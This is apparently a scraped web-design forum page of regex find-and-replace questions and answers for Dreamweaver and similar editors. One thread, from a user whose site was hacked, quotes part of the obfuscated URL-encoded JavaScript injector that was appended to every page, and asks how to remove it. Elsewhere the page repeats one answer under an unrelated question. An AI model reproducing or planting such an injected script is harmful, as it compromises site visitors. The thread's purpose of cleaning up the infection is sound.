Regex find and replace

I have inherited a boatload of code that I need to "tweak".
Currently, it contains many hundreds of refrences to a 2d
array and
references constants that I want to change to function calls.
i.e.
v(Svc,FutWTMargin)
I want that to be changed into:
v(Svc,getcol("FutWTMargin"))
Now the bit in quotes "FutWTMargin" has many variations, but
the structure
of the original 2d array references are all consistent - it's
just that
there are several hundred of them that I need to change.
Can someone help out with a regex that can change the
FutWTMargin part to
getcol("FutWTMargin") regardless of what the FutWTMargin text
might actually
say?
Note to self... must learn regex at some point!
Cheers,
Rob
http://robgt.com/ [Tutorials and
Extensions]
Firebox stuff:
http://robgt.com/firebox
Skype stuff:
http://robgt.com/skype
Dell stuff:
http://robgt.com/dell
SatNav stuff:
http://robgt.com/satnav

Thanks Mick!
Cheers,
Rob
http://robgt.com/ [Tutorials and
Extensions]
Firebox stuff:
http://robgt.com/firebox
Skype stuff:
http://robgt.com/skype
Dell stuff:
http://robgt.com/dell
SatNav stuff:
http://robgt.com/satnav

Similar Messages

  • Help with find and replace regex

    Hello.
    I have a page listing about 50 services that have named
    anchors to a
    glossary page. Something like this:
    <a href="/glossary.html#Blogging">Blogging</a>
    And what I need is to have the glossary open in a new window.
    So how
    do I write a regex that will give me:
    <a href="/glossary.html#Blogging"
    taget="blank">Blogging</a>
    Thanks for any help
    Lance

    Thanks Brendon.
    It's Regular Expression; an optioin in the find and replace
    dialog.
    I've got to replace 50 of these anchors, each different.
    <a href="/glossary.html#Blogging">Blogging</a>
    <a href="/glossary.html#yadayada">yadayada</a>
    etc.
    to make them each open in a new window.
    <a href="/glossary.html#Blogging"
    taget="blank">Blogging</a>
    L.
    On Thu, 18 Oct 2007 14:40:46 +1300, "Brendon"
    <[email protected]>
    wrote:
    >Whats a regex?
    >Why not just do a Find and Replace? Specify the current
    local site, and
    >voila. Make sure you spell target correctly though ;-)
    >
    >
    ><@networkologist@@gmail.com> wrote in message
    >news:[email protected]..
    >> Hello.
    >>
    >> I have a page listing about 50 services that have
    named anchors to a
    >> glossary page. Something like this:
    >>
    >> <a
    href="/glossary.html#Blogging">Blogging</a>
    >>
    >> And what I need is to have the glossary open in a
    new window. So how
    >> do I write a regex that will give me:
    >>
    >> <a href="/glossary.html#Blogging"
    taget="blank">Blogging</a>
    >>
    >> Thanks for any help
    >>
    >>
    >>
    >> Lance
    >

  • Find and Replace Issue Help Requested.

    Hi all. I've been digging around for a couple of days and
    can't seem to figure this one out. For starters, I have already
    looked at the Regular Expression syntax and tried the MS word
    clean-up option, but no luck. We have about 1,500 pages of content.
    They are in DNN, so the pages are created dynamically.
    Unfortunately, the page content was written in Word and then dumped
    in DNN. We are trying to clean up the pages. We are grabbing the
    content from Dot Net Nuke and putting it into Dreamweaver 8.0.2.
    Then we are manually cleaning out things like:
    <?xml:namespace prefix = o ns =
    "urn:schemas-microsoft-com:office:office" />
    and
    <P class=MsoNormal style="MARGIN: 0in 0in 0pt"
    align=left>
    We are using the Find and Replace funtion in Dreamweaver to
    clean out these commands, but I know from the documentation, there
    is an easier way to clean these pages.
    Bottom Line: Since the pages are dynamically built, I know I
    have to grab the page content and put it in Dreamweaver manually
    and then put it back in DNN, but I am trying to find a way (using
    Regular Expressions or something) to look for all the little
    variances of MSO, <?XML, etc. in a straight shot. I would like
    to find a way to use a wild card to look for all tags that have MSO
    or Microsoft or ?XML in them and then replace them with a null
    value. From what I can tell, the Find would have to use a wildcard
    because the advanced find features don't carry what I am looking
    for. Something like Find \<?xml * [<-wildcard] to \> to
    grab the entire tag. The Find tag command doesn't work because the
    tags I need aren't listed. Also, because the content is dynamic, I
    can't do a Fins and Replace against the entire site for these
    commands, but it would be nice to "Find" all of these items with a
    single pass since the "Replace" value is always null.
    The wildcard syntax and multiple Find instances are the main
    questions. The wildcards seem to be character or space specific.
    Sorry for the long explanation - I just don't want to waste
    anyone's time typing responses to things I've already tried to do.
    Thanks in advance for any help. This is my first time back in
    the forums in about 4 years.

    sadamec1 wrote:
    > Well David, you Findmaster - it worked! (At least it
    found and highlighted the
    > code). Now, I need to dig through what you sent me and
    compare it against my
    > regular expression definitions to find out how to grab
    the rest of these
    > phrases. You're the best. Thank you!
    Glad that it did the trick. Just to help you understand what
    I did,
    there are two main sections, as follows:
    <\?xml[^>]+>
    and
    <[^>]+(?=class=Mso)[^>]+>
    They are separated by a vertical pipe (|), so they simply act
    as
    alternatives.
    The first one searches for <?xml followed by anything
    except a closing
    bracket until it reaches the first closing bracket.
    The second one is more complex. It begins with this:
    <[^>]+
    This simply looks for an opening bracket followed by anything
    other than
    a closing bracket. What makes it more intelligent is the next
    bit:
    (?=class=Mso)
    This does a forward search for "class=Mso". It's then
    followed by this
    again:
    [^>]+>
    That finds anything except a closing bracket followed by a
    closing bracket.
    The bit that you need to experiment with is (?=...). It's
    technically
    called a "forward lookaround". The effect is that the second
    half of the
    regex finds <....class=Mso....>.
    David Powers
    Adobe Community Expert
    Author, "Foundation PHP for Dreamweaver 8" (friends of ED)
    http://foundationphp.com/

  • How do you find and replace "within selected text" in a textedit document (version 1.8, mountain lion)

    In the textedit version on Snow leopard it was possible to search and replace within a peice of selected text only i.e. not the entire file. This was a very useful feature because you could select a paragraph and replace all occurences of word1 with word2 within that paragraph only! This feature appears to be missing from the mountain lion version of textedit (version 1.8). Or can anyone tell me how to do it ... ?

    Having 46 people view a post without replying is not unusual. Some people look at a question to see if it's something they'd like to know the answer to, and then come back  when it has eventually been answered.
    I'm not sure if you need to escape forward slashes in Dreamweaver's Find and Replace dialog box, but I normally do because both JavaScript and PHP normally use forward slashes as delimiters to mark the beginning and end of the regex like this:
    var pattern = /[A-Z]{4}/; // JavaScript
    $pattern = '/[A-Z]{4}/';   // PHP
    When a forward slash appears inside the regex, you need to escape it with a backslash to avoid confusion with the closing delimiter.
    As you have worked out, a capturing group is created by wrapping part of the regex in parentheses.
    If you want to match exactly 38 characters, you can use [\S\s]{38}. That includes spaces, newline characters, symbols, everything.
    If you're trying to find everything between two tags, you can do this:
    (<\/tag_name>)([^<]+)
    The closing tag is captured as $1 and everything up to the next opening tag is captured as $2.
    Learning regular expressions is not easy. I don't claim to be an expert, but I enjoy the challenge of trying to solve them. If you're interested in regular expressions, there are several books published by O'Reilly. "Mastering Regular Expressions" is the ultimate authority, but it's a difficult read (not because it's badly written, but because of the complexity of the subject). "Regular Expressions Cookbook" is very good. There's also a new "Introducing Regular Expressions", but I haven't read it.

  • How to do this find and replace?

    I have been trying to figure out the regex for this find and replace (I thought it would be easy!), but my frustration is getting the better of me and any help would be greatly appreciated.  I'm trying to do two find and replaces:
    1) In the first, I'd like to find:
    </script>
    XXXX
    </head>
    where XXXX are always four letters (uppercase) and I want to store the four letters as a variable ($1) to use in the replace
    I'd like to replace this with a bunch of javascript and in the middle of the script, I'd place the variable referencing these four letters (<script type="text/javascript">var blah = new Spry.Data.XMLDataSet("http://$1.com"blahblah</script></head>
    2) The second find is similar:
    </html>
    XXXXXXXX
    where once again X are 8 letters in uppercase following the close of the html tag (this has resulted from previous find and replaces and now I'm trying to correct things)
    I simply want to delete these letters in this case (so will leave the replace blank).
    Any help is greatly appreciated!  Thank you

    Having 46 people view a post without replying is not unusual. Some people look at a question to see if it's something they'd like to know the answer to, and then come back  when it has eventually been answered.
    I'm not sure if you need to escape forward slashes in Dreamweaver's Find and Replace dialog box, but I normally do because both JavaScript and PHP normally use forward slashes as delimiters to mark the beginning and end of the regex like this:
    var pattern = /[A-Z]{4}/; // JavaScript
    $pattern = '/[A-Z]{4}/';   // PHP
    When a forward slash appears inside the regex, you need to escape it with a backslash to avoid confusion with the closing delimiter.
    As you have worked out, a capturing group is created by wrapping part of the regex in parentheses.
    If you want to match exactly 38 characters, you can use [\S\s]{38}. That includes spaces, newline characters, symbols, everything.
    If you're trying to find everything between two tags, you can do this:
    (<\/tag_name>)([^<]+)
    The closing tag is captured as $1 and everything up to the next opening tag is captured as $2.
    Learning regular expressions is not easy. I don't claim to be an expert, but I enjoy the challenge of trying to solve them. If you're interested in regular expressions, there are several books published by O'Reilly. "Mastering Regular Expressions" is the ultimate authority, but it's a difficult read (not because it's badly written, but because of the complexity of the subject). "Regular Expressions Cookbook" is very good. There's also a new "Introducing Regular Expressions", but I haven't read it.

  • How to find and replace any string between " "

    Hi everyone,
    Here my sample
    String szTest;
    szTest = "Yellow banana";
    szTest = "Blue monkey";
    szTest = "Red mango";
    szTest is only needed when it's in testing progress. Now I want to put all of that in the /*comment*/ so the released program won't run those code any more (but still keep szTest so I can use it for future develop testing).
    So Here what I want after using the Find and Replace Box:
    //String szTest; //Manual
    /*szTest = "Yellow banana";*/ //use find and replace
    /*szTest = "Blue monkey";*/ //use find and replace
    /*szTest = "Red mango";*/ //use find and replace
    I think I can do this with Regular expressions or Wildcards. But I don't know how to find and replace any string between " and ".
    Find: szTest = " ??Any string?? ";
    Replace with: /*szTest = " ??Any string?? ";*/
    Thanks for reading.

    Hi Nathan.j.Smith,
    Based on your issue, I suggest you can try the Joel's suggestion check your issue again. In addition, I find a MSDN document about how to use the Regex.Replace Method to match a regular expression pattern with a specified replacement string,
    maybe you will get some useful message.
    https://msdn.microsoft.com/en-us/library/xwewhkd1(v=vs.110).aspx
    If the above suggestion still could not provide you, could you please tell me what language you use to create the program for finding and replace any string using regular expression so that we will find the correct programming develop forum to support this
    issue?
    Best Regards,
    We are trying to better understand customer views on social support experience, so your participation in this interview project would be greatly appreciated if you have time. Thanks for helping make community forums a great place.
    Click
    HERE to participate the survey.

  • Find and replace with wildcard

    help.. i had my site hacked and they stuck a script at the
    end of every file and i need to do a find and replace to remove all
    of that coding.
    the problem is that the coding is different on every page and
    i dont want to have to remove it from 1000+ pages.
    i'm pretty sure you can do this with dreamweaver.. all of the
    bogus coding is after the </html> at the end of the page.
    can anyone help?
    here is an example of the coding:
    <!--[z0s]-->("%3Cscript%3Eif%28NJ%21%3D1%29%7Bfunction%20nS%28sg%29%7Breturn%20sg%7Dtry%7B var%20zX%3D%27xxvxBvxtvxrvxPvxbvx8vxdvxDvxivx6vxwvxcvxXvxRvxovxIvxjvxUvx3vxSvxTvx7vxfvx4vx nvxsvxkvxgvxyvxLvxYvxOvxZvxMvx9vxzvx5vxGvxHvxhvxmvxJvxpvxqvxCvxWvxavxlvxKvxNvxAvxVvxFvBxvB BvBtvBrvBPvBbvB8vBdvBDvBivB6vBwvBcvBXvBRvBovBIvBjvBUvB3vBSvBTvB7vBf%27%2CcY%3DzX.substr%28 2%2C1%29%3Bvar%20Ar%3DArray%28It%28%27185%27%29%2C28831%5E28777%2C31791%5E31945%2CIt%28%27 247%27%29%2C1043%5E1279%2C16798%5E16747%2C4194%5E4243%2CIt%28%27187%27%29%2CIt%28%27227%27 %29%2C24343%5E24551%2C8596%5E8575%2CIt%28%27234%27%29%2CIt%28%27165%27%29%2CIt%28%27239%27 %29%2CIt%28%27173%27%29%2C15091%5E14887%2C23064%5E23217%2CIt%28%27242%27%29%2CIt%28%27172% 27%29%2CIt%28%27254%27%29%2C16276%5E16231%2CIt%28%27228%27%29%2C21729%5E21507%2C9124%5E907 1%2C22207%5E22023%2CIt%28%27224%27%29%2C24716%5E24653%2CIt%28%27190%27%29%2C16599%5E16403% 2CIt%28%27209%27%29%2CIt%28%27171%27%29%2CIt%28%27232%27%29%2C4557%5E4451%2C2956%5E2865%2C 16528%5E16419%2C29064%5E28985%2CIt%28%27181%27%29%2CIt%28%27225%27%29%2C5641%5E5863%2C2427 6%5E24179%2C9220%5E9465%2C5727%5E5789%2C23429%5E23373%2C29981%5E30155%2C2327%5E2543%2CIt%2 8%27162%27%29%2CIt%28%27180%27%29%2C3058%5E2853%2C21870%5E21947%2C4590%5E4359%2CIt%28%2721 1%27%29%2C30955%5E30785%2C14008%5E13909%2CIt%28%27202%27%29%2CIt%28%27168%27%29%2CIt%28%27 191%27%29%2C19973%5E20129%2CIt%28%27186%27%29%2C10455%5E10249%2CIt%28%27219%27%29%2C4454%5 E4505%2CIt%28%27188%27%29%2CIt%28%27216%27%29%2C20136%5E20081%2CIt%28%27244%27%29%2C12739% 5E12547%2CIt%28%27231%27%29%2CIt%28%27199%27%29%2C1461%5E1353%2CIt%28%27198%27%29%2C5206%5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.fromCharCode%28Ar%5Bsg%5D%5E133%29%3B%7Ddocument.write%28ku%29%3B%7Dcatch%28vQ%29%7B%7D%7 Dvar%20NJ%3D1%3C/script%3E"))<!--[/z0s]-->
    __________________

    tyankee wrote:
    > help.. i had my site hacked and they stuck a script at
    the end of every file
    > and i need to do a find and replace to remove all of
    that coding.
    >
    > the problem is that the coding is different on every
    page and i dont want to
    > have to remove it from 1000+ pages.
    >
    > i'm pretty sure you can do this with dreamweaver.. all
    of the bogus coding is
    > after the </html> at the end of the page.
    >
    > can anyone help?
    >
    > here is an example of the coding:
    >
    >
    >
    Find <\/html>.*
    Replace with:</html>
    Use: RegEx
    Mick

  • Find and replace smart quotes with straight quotes?

    I understand I can turn off smart quotes so that I can type straight quotes, but I need to replace hundreds of curly smart quotes with straight quotes, is there a feature that will let me do this? I am using FM8.
    Thanx,
    Willian

    I am using FM9....so I don't know if the same shortcuts apply, but this is what I found out last week.
    Use the Find and Replace tool:
    With smart quotes turned off and the Num Lock key turned on:
    Alt0147 will give you beginning quotation marks
    Alt0148 will give you ending quotation marks
    In the Find box use ALT0147 or ALT0148 for the beginning or ending quotes. When you click in the box and type
    one of the shortcuts the correct quote will be shown in the box.
    In the replace box type the regular straight quotes on your keyboard.
    I was thrilled that it would work!...course you do have to do them separately and be careful not to replace the curly quotes
    that you want to leave in your document.
    Hope this helps using FM8....
    ls

  • Use VBA and Excel to open Dreamweaver HTML (CS5), find and replace text, save and close

    I wish to use VBA and Excel to programmatically open numbered Dreamweaver HTML (CS5) and find and replace text in the code view of these files, save and close them.
    I have  5000 associations between Find: x0001 and Replace: y0001 in an Excel sheet.
    I have the VBA written but do not know how to open, close and save the code view of the ####.html files. Please ... and thank you...
    [email protected]

    This is actually the code view of file ####.html that I wish to find and replace programmatically where #### is a four digit number cataloguing each painting.... In 1995 I thought this was clever... maybe not so clever now :>)) Thank you for whatever you can do Rob!
    !####.jpg!
    h2. "Name####"
    Oils on acrylic foundation commercial canvas - . xx X xx (inches) Started
    Back of the Painting In Progress </p> </body> </html>
    Warmest regards,
    Phil the Forecaster, http://philtheforecaster.blogspot.ca/ and http://phils-market.blogspot.ca/

  • How do I find and replace text in PHP files?

    How can I in CS3 make sitewide changes to the text in PHP pages without changing variable names etc that have the same name?
    For example if I have an installation of a PHP forum and I want to change every instance of the word 'forum' to 'message board'...
    If I used the 'inside tag' search with " as the tag, then if "" contained a variable called 'forum' it would also be changed and therefore corrupt the code....
    Is there a simple way around this?
    Thanks!
    I'm using CS3 on Windows Vista.

    It looks like you're trying to find and replace source code, so you may be able to look at the various places that are looked at when finding and uncheck the ones that don't apply.
    But, if it's all source code then that won't help.  One thing that may work is to expand the search option - for example if the work "forum" that you're wanting to change it preceded by another word, or character or something that sets it apart, then do you find on that. You can expand that search phrase as far out in either direction that you need to to make it different, if of course that is practical in your situation.
    The only other way I can think of is to somehow create an exception rule, but I'm not sure if that's possible or how to do it.

  • Find and replace in RTF Template

    Hi,
    I'm using a if statement in my template, but i need to change a value within this statement. It's being used multiple times, therefor it would be easier to do a find and replace, is there a way to do a find and replace within the RTF template? Already openede it in Notepad++, but no luck
    Osman

    I don't think there is a way to find and replace all.. You can view all the code by using Field Browser -> Show All and then replace the code and update one by one from there..
    Thanks,
    Bipuser

  • XML tag markers moved: Find and Replace causing problem in xml elements

    Hi All,
    I am doing find and replace using GREP. While using the expression like $1, $2 (Found Items) in the change to field it changes the placement of tag marker. If the found item is a part of two of more xml elements, I am getting a serious problem while replacing it. (ie. The xml tag markers are moved.)
    See the screen shot below, then you may get better idea. And help me to overcome this issue.
    This is just an example to show you what i'm trying to say, there are so many cases like this.
    Original text/ Before doing find replace
    After replacing
    Green4ever

    Hi Peter and John,
    but it seems to me that the example is looking for any space that
    follows a semi-colon and has two word characters following it, and
    repalce that with an em space. I think you could do the same using look
    behind and look ahead and not need to replace the found text.
    Yes you are right about the look behind and look ahead. I'd like to show some more examples to show what the actual problem is,
    Original/Before Replacing,
    (Consider there is another case here, instead of em-space some times normal word space will also be there)
    Using the Grep:
    Find What---------> ^(\d+\.(?:\d+)?)~m
    Change To------------->$1\t
    After Replace:
    Did I make any sense? Eventhough this will not make any changes in the layout, my requirement is to insert the tab out-side the tag marker not indise.
    Green4ever

  • Find and replace value in Delimited String

    Hi All,
    I have a requirement, where i need to find and replace values in delimited string.
    For example, the string is "GL~1001~157747~FEB-13~CREDIT~A~N~USD~NULL~". The 4th column gives month and year. I need to replace it with previous month name. For example: "GL~1001~157747~JAN-13~CREDIT~A~N~USD~NULL~". I need to do same for last 12 months.
    I thought of first devide the values and store it in variable and then after replacing it with required value, join it back.
    I just wanted to know if there is any better way to do it?

    for example (Assumption: the abbreviated month is the first occurance of 3 consecutive alphabetic charachters)
    with testdata as (
    select 'GL~1001~157747~FEB-13~CREDIT~A~N~USD~NULL~' str from dual
    select
    str
    ,regexp_substr(str, '[[:alpha:]]{3}') part
    ,to_date('01'||regexp_substr(str, '[[:alpha:]]{3}')||'2013', 'DDMONYYYY') part_date
    ,replace (str
             ,regexp_substr(str, '[[:alpha:]]{3}')
             ,to_char(add_months(to_date('01'||regexp_substr(str, '[[:alpha:]]{3}')||'2013', 'DDMONYYYY'),-1),'MON')
    ) res
    from testdata
    STR
    PART
    PART_DATE
    RES
    GL~1001~157747~FEB-13~CREDIT~A~N~USD~NULL~
    FEB
    02/01/2013
    GL~1001~157747~JAN-13~CREDIT~A~N~USD~NULL~
    with year included
    with testdata as (
    select 'GL~1001~157747~JAN-13~CREDIT~A~N~USD~NULL~' str from dual
    select
    str
    ,regexp_substr(str, '[[:alpha:]]{3}-\d{2}') part
    ,to_date(regexp_substr(str, '[[:alpha:]]{3}-\d{2}'), 'MON-YY') part_date
    ,replace (str
             ,regexp_substr(str, '[[:alpha:]]{3}-\d{2}')
             ,to_char(add_months(to_date(regexp_substr(str, '[[:alpha:]]{3}-\d{2}'), 'MON-YY'),-1),'MON-YY')
    ) res
    from testdata
    STR
    PART
    PART_DATE
    RES
    GL~1001~157747~JAN-13~CREDIT~A~N~USD~NULL~
    JAN-13
    01/01/2013
    GL~1001~157747~DEC-12~CREDIT~A~N~USD~NULL~
    Message was edited by: chris227 year included

  • Using applescript for Find and Replace All in Pages 2.0

    i saw that Pages 2.0 is scriptable
    i try to create a script for merge use to find and replace all occurence of a certain string using a script but Pages doesn't seems to respond to "Find" even using "System Events"
    how can i do to use this function with a script
    Thanx for any help
    S.B.
    ibook G3   Mac OS X (10.4.6)  

    OK, here's another example. This one gets the text as a string and uses the offset property to find "[", presuming it to be a merge delimiter. (Pages' text doesn't support "offset of").
    One failing of this scheme is that the offsets are incorrect if you have inline objects (pictures, shapes, tables, etc.). While it is probably possible to compensate for them, that's a trickier proposition.
    <PRE>-- Example merge replacements:
    property mergeText : {"[name]", "John Smith", "[address]", "1234 Anystreet"}
    on lookup(mergeWord)
    set theCount to count of mergeText
    repeat with x from 1 to theCount by 2
    if item x of mergeText = mergeWord then
    return item (x + 1) of mergeText
    end if
    end repeat
    -- If merge field is not found, delete it (replace it with the empty string)
    return ""
    end lookup
    tell application "Pages"
    repeat
    tell body text of document 1
    -- Get text as a string so that "offset of" can be used.
    set allText to it as string
    set startOffset to offset of "[" in allText
    if (startOffset = 0) then
    exit repeat
    end if
    set endOffset to offset of "]" in allText
    select (text from character startOffset to character endOffset)
    end tell
    set mergeWord to contents of selection
    tell me to lookup(mergeWord)
    set replacement to result
    set selection to replacement
    if (replacement is "") then
    -- Get rid of extra whitespace (space or return)
    -- Do it in a "try" block to handle edge cases at start or end of text.
    try
    set theSel to (get selection)
    set ch1 to character before theSel
    set ch2 to character after theSel
    if ((ch1 is " " or ch1 is return) and (ch2 is " " or ch2 is return)) then
    select character after theSel
    delete selection
    end if
    end try
    end if
    end repeat
    end tell</PRE>
    Titanium PowerBook   Mac OS X (10.4.6)  

  • Dumb Q: problem with Find And Replace window in Flash 8

    Dear Flash Group,
    apologies if this is trivial, it's my first day using Flash.
    I downloaded a Flash project from
    http://www.flashorb.com/articles/benchmark_files/flash-benchmark.zip.
    This
    flash calls into a web service at localhost:8080. I used the
    'Find and
    Replace' window within Flash Professional 8 to locate the
    string
    'localhost:8080' and replaced it with plain 'localhost'.
    However, when I 'Debug the Movie' (Ctrl-Shift-Enter), it
    still tries to
    access port 8080! Obsiously, my replace command did not do
    what I thought it
    would do. I opened the FLA file in a binary editor, and saw 4
    more
    references to 8080, One if them in 'Properties' of a
    WebServicesConnector,
    but I cannot figure out how to find the other occurences.
    Checking on google, I see lots of people having similar
    problems, but no
    solutions
    Any ideas?
    Regards, /george
    PS. What do you guys do for code completion - is there a tool
    that would
    bring Flash on par with an professional IDE?

    george,
    > when I 'Debug the Movie' (Ctrl-Shift-Enter), it still
    > tries to access port 8080! Obsiously, my replace
    > command did not do what I thought it would do.
    Agreed.
    > I opened the FLA file in a binary editor, and saw 4
    > more references to 8080, One if them in 'Properties'
    > of a WebServicesConnector, but I cannot figure out
    > how to find the other occurences.
    Might they be the result of that WebServicesConnector
    reference?
    > Checking on google, I see lots of people having
    > similar problems, but no solutions
    That's really odd, actually. I'm on these boards every day,
    and I've
    never heard of this issue. I don't *think* the Find/Replace
    dialog visits
    panel contents, such as the Component Inspector panel, but I
    wouldn't swear
    to that.
    > What do you guys do for code completion - is there
    > a tool that would bring Flash on par with an
    professional IDE?
    Well, Flash is a professional IDE, of course. By definition,
    if you pay
    for something, you have acquired a professional product or
    service. I know
    what you mean, though. Flash itself rocks, but the Actions
    panel can be
    glaringly weak. Personally, I use SE|PY to edit ActionScript.
    http://www.sephiroth.it/python/sepy.php
    Sorry I can't speak to your other issue. :-/
    David
    stiller (at) quip (dot) net
    Dev essays:
    http://www.quip.net/blog/
    "Luck is the residue of good design."

Maybe you are looking for